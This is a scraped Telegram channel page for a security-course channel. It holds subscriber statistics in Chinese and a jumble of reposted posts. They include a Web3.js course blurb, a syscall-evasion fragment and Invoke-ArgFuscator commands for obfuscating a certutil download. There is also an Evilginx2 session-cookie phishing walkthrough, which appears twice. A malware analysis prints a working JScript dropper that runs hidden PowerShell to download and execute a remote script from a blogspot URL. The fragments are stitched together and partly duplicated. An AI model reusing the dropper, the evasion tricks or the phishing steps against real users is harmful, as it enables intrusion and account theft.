All Security Engineering Courses
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
显示更多📈 Telegram 频道 All Security Engineering Courses 的分析概览
频道 All Security Engineering Courses (@allsecurityengineeringcourses) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 18 793 名订阅者,在 技术与应用 类别中位列第 7 162,并在 俄罗斯 地区排名第 35 950 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 18 793 名订阅者。
根据 15 六月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 133,过去 24 小时变化为 4,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 10.04%。内容发布后 24 小时内通常能获得 3.00% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 1 887 次浏览,首日通常累积 563 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 3。
- 主题关注点: 内容集中在 git, strace, github, linux, docker 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
凭借高频更新(最新数据采集于 16 六月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
This Web3.js course is designed for programmers and developers who want to take a comprehensive deep dive in building decentralized applications(dapp). This course provides detailed overviews of web3.js library and how to use web3.js library in order to interact with the blockchain and smart contract. In this course we are not just going to talk about Web3.js theory but also we are going to create a mini decentralized application (dapp) for practical.
K8_SYSCALL("ZwOpenProcess", ...) instead of NtOpenProcess.
You have built a system that :
1 - Does not scan .text (Sorting Hat logic on Exports).
2 - Does not execute syscall locally (Lateral Gadget execution).
3 - Does not leave traces (Clean Call Stacks).Install-Module -Name Invoke-ArgFuscator
Import-Module Invoke-ArgFuscator
Invoke-ArgFuscator -Command 'certutil /f /urlcache https://www.example.org/ homepage.txt'
Invoke-ArgFuscator -InputFile path\to\file.json
😹 Offline version
#windows #obfuscator #redteam
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🫂Whatsapp community🫂 :https://whatsapp.com/channel/0029Vb7WAkz4tRrkdnGzzy25https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page.
2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com).
3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server.
4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim.
Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com).
5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password.
6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend.
Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect).
7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie.
This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again.
8. The Clean Exit (Step 8) 💻🏃♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page.
2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com).
3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server.
4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim.
Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com).
5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password.
6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend.
Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect).
7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie.
This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again.
8. The Clean Exit (Step 8) 💻🏃♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.ghi = new ActiveXObject('Shell.Application');
ghi['ShellExecute']("powershell", '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://decjan2026.blogspot.com/////////nipoli.pdf); Start-Sleep -Seconds 17', "", "open", 0);
🔎 Step-by-Step What It Does:
1️⃣Creates Shell.Application COM Object:
▶️new ActiveXObject('Shell.Application') → Instantiates the Windows Shell COM object (progid: Shell.Application).
▶️This is a legitimate object for file operations, but abused here for silent process creation.
2️⃣Obfuscated ShellExecute Call:
▶️Uses bracket notation ['ShellExecute'] instead of dot (minor obfuscation to evade simple string scans).
▶️Launches PowerShell with:
▶️-ep Bypass: Sets ExecutionPolicy to Bypass (ignores script signing restrictions).
▶️-c: Command mode.
3️⃣Inside the PowerShell Command:
▶️Forces TLS 1.2 for downloads: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
▶️Ensures compatibility with modern HTTPS sites (bypasses older protocol blocks).
▶️ Downloads & Executes Remote Script:
▶️Invoke-Expression (Invoke-RestMethod https://decjan2026.blogspot.com/////////nipoli.pdf)
▶️ Alias: IEX (IRM ...)
▶️ Fetches content from that Blogger URL (masquerading as a ".pdf" to look innocent) and executes it directly in memory.
▶️ Extra slashes (/////////) are ignored by HTTP — classic URL padding to evade filters.
▶️Start-Sleep -Seconds 17: Delays 17 seconds (likely to evade timed sandbox detection or give payload time to run).
4️⃣ Execution Flags:
▶️Window style 0: Runs PowerShell completely hidden (no visible window).
▶️Verb "open": Standard launch.
🧠 Why This Is Sneaky (2025 Context):
▶️Fileless & Silent: No disk writes initially — downloads straight to memory via IRM + IEX.
▶️Legacy Abuse: ActiveXObject + ShellExecute is ancient (IE-era JScript/WScript), but still works in hta/js/vbs dropped via phishing.
▶️PDF Lure: Filename "nipoli.pdf" tricks users/filters into thinking it's a harmless document.
💡 Pro Tip:
This works because many orgs still allow WSH/JScript execution. Disable Windows Script Host via GPO if possible, or use AppLocker/Script Block Logging.
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
